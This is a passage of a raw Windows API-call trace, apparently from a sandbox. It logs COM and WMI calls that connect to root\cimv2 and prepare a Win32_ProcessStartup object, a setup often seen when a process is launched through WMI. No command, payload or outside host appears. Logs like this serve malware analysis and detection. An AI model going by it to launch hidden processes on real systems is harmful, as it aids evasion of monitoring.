Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c320 | out: ppvObject=0x1b10c320*=0x0) returned 0x80004002 [0134.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c310 | out: ppvObject=0x1b10c310*=0x1b433e90) returned 0x0 [0134.381] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433e90, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c338 | out: pCid=0x1b10c338*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.381] WbemDefPath:IUnknown:Release (This=0x1b433e90) returned 0x3 [0134.381] CoGetContextToken (in: pToken=0x1b10c3c0 | out: pToken=0x1b10c3c0) returned 0x0 [0134.381] CoGetContextToken (in: pToken=0x1b10c840 | out: pToken=0x1b10c840) returned 0x0 [0134.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c900 | out: ppvObject=0x1b10c900*=0x0) returned 0x80004002 [0134.381] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x2 [0134.381] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x1 [0134.381] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0134.381] CoGetContextToken (in: pToken=0x1b10d530 | out: pToken=0x1b10d530) returned 0x0 [0134.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x1b10d690*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d660 | out: ppvObject=0x1b10d660*=0x352880) returned 0x0 [0134.381] WbemDefPath:IUnknown:AddRef (This=0x352880) returned 0x3 [0134.381] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x2 [0134.381] WbemDefPath:IWbemPath:SetText (This=0x352880, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0134.381] IWbemClassObject:Get (in: This=0x1b451ac0, wszName="CreateFlags", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a558*=0, plFlavor=0x2d8a55c*=0 | out: pVal=0x1b10da60*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a558*=19, plFlavor=0x2d8a55c*=0) returned 0x0 [0134.382] IWbemClassObject:Get (in: This=0x1b451ac0, wszName="CreateFlags", lFlags=0, pVal=0x1b10da50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a558*=19, plFlavor=0x2d8a55c*=0 | out: pVal=0x1b10da50*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a558*=19, plFlavor=0x2d8a55c*=0) returned 0x0 [0134.382] IWbemClassObject:Put (This=0x1b451ac0, wszName="CreateFlags", lFlags=0, pVal=0x1b10dab0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0134.382] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10da18 | out: puCount=0x1b10da18*=0x0) returned 0x0 [0134.382] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0134.382] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0134.382] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.382] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d928 | out: ppv=0x1b10d928*=0x3111d8) returned 0x0 [0134.382] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d918 | out: pAptType=0x1b10d918*=1) returned 0x0 [0134.382] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d920 | out: ppvObject=0x1b10d920*=0x0) returned 0x80004002 [0134.382] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.383] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd18 | out: ppv=0x1b10cd18*=0x1b433d90) returned 0x0 [0134.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433d90, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce00 | out: ppvObject=0x1b10ce00*=0x0) returned 0x80004002 [0134.383] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433d90, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cdd8 | out: ppvObject=0x1b10cdd8*=0x1b4550f0) returned 0x0 [0134.383] WbemDefPath:IUnknown:Release (This=0x1b433d90) returned 0x0 [0134.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4550f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb80 | out: ppvObject=0x1b10cb80*=0x1b4550f0) returned 0x0 [0134.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4550f0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x0) returned 0x80004002 [0134.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4550f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c408 | out: ppvObject=0x1b10c408*=0x0) returned 0x80004002 [0134.383] WbemDefPath:IUnknown:AddRef (This=0x1b4550f0) returned 0x3 [0134.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4550f0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c2c8 | out: ppvObject=0x1b10c2c8*=0x0) returned 0x80004002 [0134.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4550f0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c250 | out: ppvObject=0x1b10c250*=0x0) returned 0x80004002 [0134.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4550f0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c240 | out: ppvObject=0x1b10c240*=0x1b433eb0) returned 0x0 [0134.383] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433eb0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c268 | out: pCid=0x1b10c268*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.383] WbemDefPath:IUnknown:Release (This=0x1b433eb0) returned 0x3 [0134.383] CoGetContextToken (in: pToken=0x1b10c2f0 | out: pToken=0x1b10c2f0) returned 0x0 [0134.384] CoGetContextToken (in: pToken=0x1b10c770 | out: pToken=0x1b10c770) returned 0x0 [0134.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4550f0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c830 | out: ppvObject=0x1b10c830*=0x0) returned 0x80004002 [0134.384] WbemDefPath:IUnknown:Release (This=0x1b4550f0) returned 0x2 [0134.384] WbemDefPath:IUnknown:Release (This=0x1b4550f0) returned 0x1 [0134.384] CoGetContextToken (in: pToken=0x1b10d560 | out: pToken=0x1b10d560) returned 0x0 [0134.384] CoGetContextToken (in: pToken=0x1b10d460 | out: pToken=0x1b10d460) returned 0x0 [0134.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4550f0, riid=0x1b10d5c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d590 | out: ppvObject=0x1b10d590*=0x1b4550f0) returned 0x0 [0134.384] WbemDefPath:IUnknown:AddRef (This=0x1b4550f0) returned 0x3 [0134.384] WbemDefPath:IUnknown:Release (This=0x1b4550f0) returned 0x2 [0134.384] WbemDefPath:IWbemPath:SetText (This=0x1b4550f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0134.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4550f0, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0134.384] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0134.384] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.384] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0134.384] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0134.384] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0134.384] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.391] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d078 | out: ppv=0x1b10d078*=0x1b433d90) returned 0x0 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d90, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d160 | out: ppvObject=0x1b10d160*=0x0) returned 0x80004002 [0134.392] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b433d90, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d138 | out: ppvObject=0x1b10d138*=0x1b4337d0) returned 0x0 [0134.392] WbemLocator:IUnknown:Release (This=0x1b433d90) returned 0x0 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4337d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cee0 | out: ppvObject=0x1b10cee0*=0x1b4337d0) returned 0x0 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4337d0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x0) returned 0x80004002 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4337d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c768 | out: ppvObject=0x1b10c768*=0x0) returned 0x80004002 [0134.392] WbemLocator:IUnknown:AddRef (This=0x1b4337d0) returned 0x3 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4337d0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c628 | out: ppvObject=0x1b10c628*=0x0) returned 0x80004002 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4337d0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c5b0 | out: ppvObject=0x1b10c5b0*=0x0) returned 0x80004002 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4337d0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c5a0 | out: ppvObject=0x1b10c5a0*=0x0) returned 0x80004002 [0134.392] CoGetContextToken (in: pToken=0x1b10c650 | out: pToken=0x1b10c650) returned 0x0 [0134.392] CoGetContextToken (in: pToken=0x1b10cad0 | out: pToken=0x1b10cad0) returned 0x0 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4337d0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb90 | out: ppvObject=0x1b10cb90*=0x0) returned 0x80004002 [0134.392] WbemLocator:IUnknown:Release (This=0x1b4337d0) returned 0x2 [0134.392] WbemLocator:IUnknown:Release (This=0x1b4337d0) returned 0x1 [0134.392] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0134.392] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0134.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4337d0, riid=0x1b10d570*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b4337d0) returned 0x0 [0134.392] WbemLocator:IUnknown:AddRef (This=0x1b4337d0) returned 0x3 [0134.393] WbemLocator:IUnknown:Release (This=0x1b4337d0) returned 0x2 [0134.393] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4550f0, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0134.393] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=8, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0134.393] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=8, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.393] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d690 | out: ppv=0x1b10d690*=0x1b433890) returned 0x0 [0134.393] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b433890, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d808 | out: ppNamespace=0x1b10d808*=0x1b3e26b0) returned 0x0 [0134.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d508 | out: ppvObject=0x1b10d508*=0x1b459d10) returned 0x0 [0134.451] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b459d10, pProxy=0x1b3e26b0, pAuthnSvc=0x1b10d5d0, pAuthzSvc=0x1b10d550, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554, pImpLevel=0x1b10d560, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564 | out: pAuthnSvc=0x1b10d5d0*=0xa, pAuthzSvc=0x1b10d550*=0x0, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554*=0x6, pImpLevel=0x1b10d560*=0x2, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564*=0x1) returned 0x0 [0134.452] WbemLocator:IUnknown:Release (This=0x1b459d10) returned 0x1 [0134.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4a0 | out: ppvObject=0x1b10d4a0*=0x1b459d58) returned 0x0 [0134.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4b0 | out: ppvObject=0x1b10d4b0*=0x1b459d10) returned 0x0 [0134.452] WbemLocator:IClientSecurity:SetBlanket (This=0x1b459d10, pProxy=0x1b3e26b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0134.452] WbemLocator:IUnknown:Release (This=0x1b459d10) returned 0x2 [0134.452] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x1 [0134.452] CoTaskMemFree (pv=0x1b420e90) [0134.452] WbemLocator:IUnknown:Release (This=0x1b433890) returned 0x0 [0134.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa0 | out: ppvObject=0x1b10cfa0*=0x1b459d58) returned 0x0 [0134.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x0) returned 0x80004002 [0134.488] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x0) returned 0x80004002 [0134.493] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c828 | out: ppvObject=0x1b10c828*=0x0) returned 0x80004002 [0134.521] WbemLocator:IUnknown:AddRef (This=0x1b459d58) returned 0x3 [0134.521] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6e8 | out: ppvObject=0x1b10c6e8*=0x0) returned 0x80004002 [0134.522] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c670 | out: ppvObject=0x1b10c670*=0x0) returned 0x80004002 [0134.522] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c660 | out: ppvObject=0x1b10c660*=0x1b459c38) returned 0x0 [0134.522] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b459c38, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c688 | out: pCid=0x1b10c688*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.522] WbemLocator:IUnknown:Release (This=0x1b459c38) returned 0x3 [0134.522] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0134.522] CoGetContextToken (in: pToken=0x1b10cb90 | out: pToken=0x1b10cb90) returned 0x0 [0134.522] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x1b459d20) returned 0x0 [0134.523] WbemLocator:IRpcOptions:Query (in: This=0x1b459d20, pPrx=0x1b459d58, dwProperty=2, pdwValue=0x1b10cc40 | out: pdwValue=0x1b10cc40) returned 0x80004002 [0134.523] WbemLocator:IUnknown:Release (This=0x1b459d20) returned 0x3 [0134.523] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x2 [0134.523] CoGetContextToken (in: pToken=0x1b10d250 | out: pToken=0x1b10d250) returned 0x0 [0134.523] CoGetContextToken (in: pToken=0x1b10d150 | out: pToken=0x1b10d150) returned 0x0 [0134.523] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x1b10d2b0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d280 | out: ppvObject=0x1b10d280*=0x1b3e26b0) returned 0x0 [0134.523] WbemLocator:IUnknown:AddRef (This=0x1b3e26b0) returned 0x4 [0134.523] WbemLocator:IUnknown:Release (This=0x1b3e26b0) returned 0x3 [0134.523] WbemLocator:IUnknown:Release (This=0x1b3e26b0) returned 0x2 [0134.523] SysStringLen (param_1=0x0) returned 0x0 [0134.523] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4550f0, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0134.523] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0134.523] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, 